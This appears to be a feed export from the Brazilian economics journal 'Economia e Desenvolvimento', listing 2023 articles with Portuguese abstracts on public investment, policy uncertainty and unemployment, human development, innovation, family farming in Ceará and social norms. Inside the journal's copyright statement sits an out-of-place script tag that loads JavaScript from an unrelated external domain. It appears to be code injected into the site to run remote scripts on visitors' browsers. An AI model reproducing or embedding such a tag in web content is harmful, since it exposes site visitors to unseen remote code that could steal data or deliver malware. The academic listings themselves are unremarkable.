Economia e Desenvolvimento
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<p style="text-align: justify;">A revista <strong>Economia e Desenvolvimento</strong> é um periódico acadêmico-científico em formato <em>on-line</em> da área de Economia, vinculada ao Programa de Pós-Graduação em Economia e Desenvolvimento (PPGE&D) do Departamento de Economia e Relações Internacionais da Universidade Federal de Santa Maria. A E&D tem a finalidade de divulgar a produção científica e promover o debate acadêmico na temática do desenvolvimento econômico, considerando a pluralidade teórica e metodológica da Ciência Econômica. Para atender a esse propósito, a E&D publica, em fluxo de publicação contínua, artigos e resenhas, em português, espanhol ou inglês. A E&D está indexada à base Latindex.</p> <p style="text-align: justify;"><strong>eISSN 2595-833X | Qualis/CAPES (2017-2020) = B2</strong></p>Universidade Federal de Santa Mariapt-BREconomia e Desenvolvimento1414-6509A revista se reserva o direito de efetuar, nos originais, alterações de ordem normativa, ortográfica e gramatical, com vistas a manter o padrão culto da lingua, respeitando, porém, o exito dos autores. As provas finais não serão enviadas aos autores. Os trabalhos publicados passam a ser propriedade da revista Economia e Desenvolvimento. Deve ser consignada a fonte de publicação original. Os originais não serão devolvidos aos autores. As opiniões emitidas pelos autores dos artigos são de sua exclusiva responsabilidade.<script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script>O impacto do investimento público e da infraestrutura nas decisões de investimento privado
https://periodicos.ufsm.br/eed/article/view/71216
<p>Este estudo apresenta uma análise acerca dos determinantes do investimento privado no Brasil entre 1971 e 2016. São apresentadas algumas teorias de investimento para embasar a análise empírica, dentre essas a teoria neoclássica, a teoria keynesiana e a ambiguidade que o gasto público exerce em economias em desenvolvimento. Através da metodologia dos vetores autorregressivos, observa-se que o gasto público e a ampliação da infraestrutura impactam positivamente sobre as decisões de investimento do setor privado. Por outro lado, o aumento do custo do capital assim como dos impostos influenciam negativamente o a formação bruta de capital fixo do setor privado.</p>Isaque WaldowCarlos Gilbert Conte Filho
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2023-04-112023-04-1134e2e210.5902/1414650971216Incerteza de política econômica e taxas de desemprego em países desenvolvidos: interconexões antes e depois da crise de 2008
https://periodicos.ufsm.br/eed/article/view/69735
<p>Neste artigo, utiliza-se o teste de causalidade de Granger para avaliar a relação entre a incerteza de política econômica e as taxas de desemprego em uma amostra de nove países entre 1997 e 2019. Além disso, investiga-se se a crise financeira de 2008 impactou essa relação a partir do arcabouço dos aspectos políticos do pleno emprego proposto por Kalecki, segundo o qual a classe capitalista é contrária a utilização de gastos públicos para estímulo do emprego para não perder o controle indireto que exerce sobre ele – através da dependência do nível de emprego ao estado de confiança na economia, via investimento privado. Os principais resultados que emergem da análise apontam que existe causalidade da incerteza de política econômica para a taxa de desemprego no período pré-crise, a qual não se mantém a partir de setembro de 2008. O novo conjunto de políticas econômicas, baseadas em maior intervenção estatal no período pós-crise, parece indicar que os governos nacionais souberam aproveitar o crescente questionamento quanto às falhas nas políticas econômicas em vigor para aumentar o emprego por meio de seus próprios gastos e enfraquecer o controle indireto praticado pela classe capitalista.</p>Maurício Benedeti Rosa
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2023-05-112023-05-1134e3e310.5902/1414650969735Desenvolvimento humano: evidências no modelo MRW ampliado
https://periodicos.ufsm.br/eed/article/view/69104
<p>Este artigo objetiva desenvolver um IDH genérico (IDHG) e testá-lo para os estados brasileiros no período de 1994 a 2016. Nesse contexto, propomos uma ampliação do modelo MRW, transformando o capital humano em três outras variáveis que representariam melhor o desenvolvimento humano: capital habilidade, capital biofísico e capital social. Os resultados empíricos mostram que o capital físico eleva a renda <em>per capita, o</em> capital habilidade incrementa o PIB <em>per capita, assim como </em>o capital biofísico (saúde) contribui para a elevação do crescimento da renda agregada.</p>Tito Belchior Silva MoreiraAngelo do Nascimento NogueiraCarlos Enrique Carrasco-Gutierrez
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2023-05-262023-05-2634e4e410.5902/1414650969104Inovação e concentração de mercado: uma análise setorial da PINTEC
https://periodicos.ufsm.br/eed/article/view/72218
<p>Este artigo analisa a relação entre inovação e concentração de mercado, denominada de Hipótese Schumpeteriana. Diversas variáveis da PINTEC (2008, 2011, 2014 e 2017) são utilizadas para definir as inovações em função da concentração de mercado para a Indústria de Transformação. Utiliza-se a participação de empresas inovadoras, a participação de empresas com inovação em produto ou processo, a participação de empresas com inovações organizacionais e o valor médio do dispêndio em atividades de inovação. A concentração de mercado é verificada por meio da participação das quatro maiores empresas no emprego total do setor (C4), o Índice de Lerner e a participação da mão de obra com ensino superior no emprego total do setor. Utilizam-se estimativas com dados em painel para cada variável de inovação em função da concentração de mercado. Os resultados estimados mostram diferença entre o percentual de empresas com inovação em produto ou processo e as empresas com inovações organizacionais em relação à concentração de mercado.</p>Ronivaldo Steingraber
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2023-06-072023-06-0734e5e510.5902/1414650972218Agricultura familiar no Ceará: uma análise para as regiões de planejamento a partir dos dados do censo agropecuário de 2017
https://periodicos.ufsm.br/eed/article/view/72019
<p>O texto apresenta uma análise sobre a agricultura familiar no estado do Ceará, considerando as regiões de planejamento. O objetivo central é apresentar as principais características da agricultura familiar no estado, observando o perfil dos agricultores e estabelecimentos. A metodologia adotada parte de uma abordagem descritiva e explicativa do espaço rural cearense no tocante ao perfil dos agricultores e dos estabelecimentos rurais. Os dados foram coletados em fontes secundárias, com destaque para o Censo Agropecuário de 2017. Em relação ao tratamento dos dados, esses foram tabulados e apresentados em tabelas e gráficos e posteriormente analisados. Os principais resultados indicam que a agricultura familiar tem uma elevada representatividade em relação ao número de estabelecimentos, contudo enfrenta grandes limitações para o seu fortalecimento, com destaque para o baixo acesso à tecnologia e para a ausência de infraestrutura econômica adequada, refletindo na baixa produtividade do trabalho, restrição de crédito, suporte técnico insuficiente e baixo valor agregado aos produtos, dentre outros aspectos. Nesse sentido, o conjunto das políticas públicas para o fortalecimento da agricultura familiar não eliminou os principais fatores limitantes ao desenvolvimento e fortalecimento do setor no estado, mantendo uma relativa homogeneidade em relação às suas regiões de planejamento.</p>Maria Messias Ferreira LimaWillian Cândido da SilvaMaria Jeanne Gonzaga de PaivaJaniele de Brito de Souza
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2023-08-102023-08-1034e6e610.5902/1414650972019Normas sociais, preferências endógenas e ação governamental
https://periodicos.ufsm.br/eed/article/view/69445
<p>O artigo tem como proposta revisitar a literatura de normas sociais e <em>Law and Economics</em> e oferecer uma distinção metodológica das diferentes formas pelas quais as normas sociais são abordadas nesta literatura. Ademais, discute-se como as diferenças nas concepções de normas sociais, principalmente aquelas que tratam as normas sociais como capazes de alterar as preferências individuais, afetam a forma pela qual o governo deve atuar.</p>Felipe Coelho Sigrist
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2023-04-112023-04-1134e1e110.5902/1414650969445